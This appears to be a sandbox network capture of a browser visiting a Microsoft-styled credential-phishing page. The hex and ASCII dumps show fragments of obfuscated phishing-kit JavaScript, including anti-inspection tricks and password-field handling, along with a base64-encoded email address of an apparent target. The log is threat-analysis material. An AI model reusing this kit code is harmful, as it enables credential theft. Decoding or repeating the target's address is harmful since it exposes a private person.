_0x506b(_0x52d135,_0x2abb60){const _0x296419=_0x2964();return _0x506b=function(_0x506b4f,_0xc1d7be){_0x506b4f=_0x506b4f-0xc5;let _0x2d424f=_0x296419[_0x506b4f];return _0x2d424f;},_0x506b(_0x52d135,_0x2abb60);}const _0x2d79db=_0x506b;function _0x2
2025-03-21 18:08:13 UTC	1378	IN	Data Raw: 78 31 35 65 31 35 36 3d 7b 7d 29 7b 63 6f 6e 73 74 20 5f 30 78 32 34 33 61 63 39 3d 5f 30 78 32 64 37 39 64 62 2c 5f 30 78 31 38 39 65 32 36 3d 7b 27 42 31 27 3a 21 21 5b 5d 2c 27 54 38 27 3a 21 21 5b 5d 2c 27 52 37 27 3a 21 21 5b 5d 2c 27 47 34 27 3a 21 21 5b 5d 2c 27 59 35 27 3a 21 21 5b 5d 2c 27 4b 39 27 3a 21 21 5b 5d 2c 27 4e 30 27 3a 21 21 5b 5d 7d 2c 5f 30 78 33 65 37 34 62 64 3d 7b 2e 2e 2e 5f 30 78 31 38 39 65 32 36 2c 2e 2e 2e 5f 30 78 31 35 65 31 35 36 7d 3b 5f 30 78 33 65 37 34 62 64 5b 27 42 31 27 5d 26 26 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 34 33 61 63 39 28 30 78 64 39 29 5d 28 5f 30 78 32 34 33 61 63 39 28 30 78 63 64 29 2c 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 35 63 35 33 33 29 7b 63 6f 6e 73 74 20 5f 30 78 31 62 32 34 65 32 3d 5f 30 Data Ascii: x15e156={}){const _0x243ac9=_0x2d79db,_0x189e26={'B1':!![],'T8':!![],'R7':!![],'G4':!![],'Y5':!![],'K9':!![],'N0':!![]},_0x3e74bd={..._0x189e26,..._0x15e156};_0x3e74bd['B1']&&document[_0x243ac9(0xd9)](_0x243ac9(0xcd),function(_0x55c533){const _0x1b24e2=_0
2025-03-21 18:08:13 UTC	49	IN	Data Raw: 65 5c 78 32 30 61 74 74 65 6d 70 74 5c 78 32 30 6d 69 74 69 67 61 74 65 64 5c 78 32 30 28 43 74 72 6c 2b 55 29 2e 27 29 29 3b 7d 29 3b 7d 29 3b 0a Data Ascii: e\x20attempt\x20mitigated\x20(Ctrl+U).'));});});

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:28 UTC	1101	OUT	GET /5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/index?a=YmVja3liQHBhcmFkaWdtLWNvcnAuY29t Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:08:30 UTC	434	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:08:28 GMT Server: Apache/2.4.62 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-03-21 18:08:30 UTC	7758	IN	Data Raw: 32 30 34 37 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2e 2e 2f 70 61 67 65 2f 69 6d 61 67 Data Ascii: 2047<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="icon" href="../page/imag
2025-03-21 18:08:30 UTC	511	IN	Data Raw: 0d 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 44 6f 64 36 30 33 63 6e 37 6f 20 61 75 74 68 2d 77 72 61 70 70 65 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 44 6f 64 36 30 33 63 6e 37 6f 20 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 6f 76 65 72 6c 61 79 33 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6c 6c 2d 72 75 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6c 6c 2d 72 75 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6c 6c 2d 72 75 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6c 6c 2d 72 75 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 Data Ascii: <div class="Dod603cn7o auth-wrapper"> <div class="Dod603cn7o overlay" id="overlay3"> <div class="ball-runner"></div><div class="ball-runner"></div><div class="ball-runner"></div><div class="ball-runner"></div><div c
2025-03-21 18:08:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:08:30 UTC	8192	IN	Data Raw: 32 39 36 61 0d 0a 20 69 64 65 6e 74 69 74 79 20 77 2d 31 30 30 20 6d 74 2d 31 36 20 6d 62 2d 31 36 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 22 44 6f 64 36 30 33 63 6e 37 6f 20 62 61 63 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 69 6d 67 20 73 72 63 3d 22 2e 2e 2f 70 61 67 65 2f 69 6d 61 67 65 73 2f 62 61 63 6b 2e 70 6e 67 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 62 75 74 74 6f 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 44 6f 64 36 30 33 63 6e 37 6f 22 20 69 64 3d 22 6f 63 63 75 70 69 65 64 22 3e 61 40 62 2e 63 6f 6d 3c 2f 73 70 61 6e 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: 296a identity w-100 mt-16 mb-16"> <button class="Dod603cn7o back"> <img src="../page/images/back.png" /> </button> <span class="Dod603cn7o" id="occupied">a@b.com</span>
2025-03-21 18:08:30 UTC	2416	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 47 34 3a 20 74 72 75 65 2c 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 59 35 3a 20 74 72 75 65 2c 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 4b 39 3a 20 74 72 75 65 2c 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 4e 30 3a 20 74 72 75 65 20 20 0d 0a 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 27 2c 20 28 29 20 3d 3e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 5f 30 78 33 32 34 65 39 62 3d 5f 30 78 34 32 39 63 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 64 31 31 32 64 2c 5f 30 78 35 36 62 61 39 32 29 7b 63 6f 6e 73 74 Data Ascii: G4: true, Y5: true, K9: true, N0: true }); document.addEventListener('DOMContentLoaded', () => { const _0x324e9b=_0x429c;(function(_0x5d112d,_0x56ba92){const
2025-03-21 18:08:30 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:08:30 UTC	8192	IN	Data Raw: 35 62 39 62 0d 0a 31 22 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2f 2f 20 50 48 50 20 76 61 72 69 61 62 6c 65 73 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 65 6e 63 6f 64 65 64 54 65 78 74 20 3d 20 22 55 32 6c 6e 62 69 31 70 62 69 42 76 63 48 52 70 62 32 35 7a 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 64 65 63 6f 64 65 64 54 65 78 74 20 3d 20 61 74 6f 62 28 65 6e 63 6f 64 65 64 54 65 78 74 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 73 74 20 72 61 6e 64 6f 6d 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 72 65 66 2e 6c 69 2f 3f 68 74 74 70 73 3a 2f 2f 69 64 2e 77 69 6b 69 70 65 64 69 61 2e 6f 72 67 2f 77 69 6b 69 2f 42 65 72 6b 61 73 3a 4c 6f 67 6f 5f 4d 69 63 72 6f 73 6f 66 74 5f 4f 66 66 69 63 65 Data Ascii: 5b9b1"; // PHP variables const encodedText = "U2lnbi1pbiBvcHRpb25z"; const decodedText = atob(encodedText); const random = "https://href.li/?https://id.wikipedia.org/wiki/Berkas:Logo_Microsoft_Office
2025-03-21 18:08:31 UTC	15265	IN	Data Raw: 5d 3d 70 77 64 49 6e 70 5b 5f 30 78 32 65 62 37 39 66 28 30 78 31 62 31 29 5d 5b 27 74 72 69 6d 27 5d 28 29 3f 5f 30 78 32 65 62 37 39 66 28 30 78 31 39 66 29 3a 5f 30 78 32 65 62 37 39 66 28 30 78 31 61 34 29 2c 64 6f 63 75 6d 65 6e 74 5b 5f 30 78 32 65 62 37 39 66 28 30 78 31 63 66 29 5d 28 5f 30 78 32 65 62 37 39 66 28 30 78 31 37 34 29 29 5b 27 69 6e 6e 65 72 54 65 78 74 27 5d 3d 27 27 2c 6d 65 73 73 61 67 65 45 6c 65 6d 65 6e 74 5b 27 73 74 79 6c 65 27 5d 5b 5f 30 78 32 65 62 37 39 66 28 30 78 31 38 63 29 5d 3d 27 27 2c 70 77 64 49 6e 70 5b 5f 30 78 32 65 62 37 39 66 28 30 78 31 63 34 29 5d 5b 5f 30 78 32 65 62 37 39 66 28 30 78 31 37 64 29 5d 28 5f 30 78 32 65 62 37 39 66 28 30 78 31 61 61 29 2c 21 70 77 64 49 6e 70 5b 5f 30 78 32 65 62 37 39 66 28 Data Ascii: ]=pwdInp[_0x2eb79f(0x1b1)]['trim']()?_0x2eb79f(0x19f):_0x2eb79f(0x1a4),document[_0x2eb79f(0x1cf)](_0x2eb79f(0x174))['innerText']='',messageElement['style'][_0x2eb79f(0x18c)]='',pwdInp[_0x2eb79f(0x1c4)][_0x2eb79f(0x17d)](_0x2eb79f(0x1aa),!pwdInp[_0x2eb79f(
2025-03-21 18:08:31 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-03-21 18:08:31 UTC	2270	IN	Data Raw: 38 64 32 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 20 76 69 65 77 20 3d 20 22 70 77 64 22 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 65 74 20 65 6e 6d 61 69 6c 20 3d 20 61 74 6f 62 28 22 59 6d 56 6a 61 33 6c 69 51 48 42 68 63 6d 46 6b 61 57 64 74 4c 57 4e 76 63 6e 41 75 59 32 39 74 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 5f 30 78 34 35 34 31 39 34 3d 5f 30 78 65 32 32 38 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 34 62 66 33 63 66 2c 5f 30 78 34 64 33 33 63 62 29 7b 76 61 72 20 5f 30 78 31 39 62 36 32 36 3d 5f 30 78 65 32 32 38 2c 5f 30 78 35 30 37 Data Ascii: 8d2 let view = "pwd"; let enmail = atob("YmVja3liQHBhcmFkaWdtLWNvcnAuY29t"); var _0x454194=_0xe228;(function(_0x4bf3cf,_0x4d33cb){var _0x19b626=_0xe228,_0x507

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:33 UTC	570	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://reasdti.org/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-21 18:08:33 UTC	564	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-Ranges: bytes Date: Fri, 21 Mar 2025 18:08:33 GMT Via: 1.1 varnish Age: 1249496 X-Served-By: cache-lga21952-LGA X-Cache: HIT X-Cache-Hits: 308 X-Timer: S1742580514.624254,VS0,VE0 Vary: Accept-Encoding
2025-03-21 18:08:33 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-21 18:08:33 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-21 18:08:33 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-21 18:08:33 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-21 18:08:33 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2025-03-21 18:08:33 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Timestamp	Bytes transferred	Direction	Data
2025-03-21 18:08:33 UTC	764	OUT	GET /page/styles/app.css HTTP/1.1 Host: reasdti.org Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://reasdti.org/5XuopaD3ZCsNryIkMag99oQqHRwzXBB4TxmZG1j6CiYofxZAPtUvc2j2ddbLSWzOKfumD1o8fpYe3OYyHVeI2iCEl1NJrj40nlWUUQpDtzLRsRqaESu9cPcKFbxh0784OGsnQvyG7H7hm6l3dPTbtVJTvegwFIr8hgXJ/verify Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=9vnovf6c1eiia0pn6p8e1jurcm
2025-03-21 18:08:34 UTC	398	IN	HTTP/1.1 200 OK Date: Fri, 21 Mar 2025 18:08:34 GMT Server: Apache/2.4.62 (Ubuntu) Last-Modified: Wed, 12 Mar 2025 18:46:51 GMT ETag: "20c1-63029a0de9cc0" Accept-Ranges: bytes Content-Length: 8385 Vary: Accept-Encoding Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: Content-Type Connection: close Content-Type: text/css
2025-03-21 18:08:34 UTC	7794	IN	Data Raw: 2a 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 53 65 67 6f 65 20 55 49 22 2c 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 20 22 52 6f 62 6f 74 6f 22 2c 20 22 45 62 72 69 6d 61 22 2c 20 22 4e 69 72 6d 61 6c 61 20 55 49 22 2c 20 22 47 61 64 75 67 69 22 2c 20 22 53 65 67 6f 65 20 58 62 6f 78 20 53 79 6d 62 6f 6c 22 2c 20 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 20 22 4d 65 69 72 79 6f 20 55 49 22 2c 20 22 4b 68 6d 65 72 20 55 49 22 2c 20 22 54 75 6e 67 61 22 2c 20 22 4c 61 6f 20 55 49 22 2c 20 Data Ascii: * { padding: 0; margin: 0; box-sizing: border-box; font-family: "Segoe UI", "Helvetica Neue", "Lucida Grande", "Roboto", "Ebrima", "Nirmala UI", "Gadugi", "Segoe Xbox Symbol", "Segoe UI Symbol", "Meiryo UI", "Khmer UI", "Tunga", "Lao UI",
2025-03-21 18:08:34 UTC	591	IN	Data Raw: 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 29 20 7b 0a 20 20 20 20 68 74 6d 6c 2c 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 0a 20 20 20 20 7d 0a 20 20 20 20 73 65 63 74 69 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 61 75 74 68 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 32 34 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 75 6e 73 65 74 20 21 69 6d 70 6f Data Ascii: and (max-width:600px) { html, body { background-color: #fff; } section { display: block !important; } .auth-wrapper { 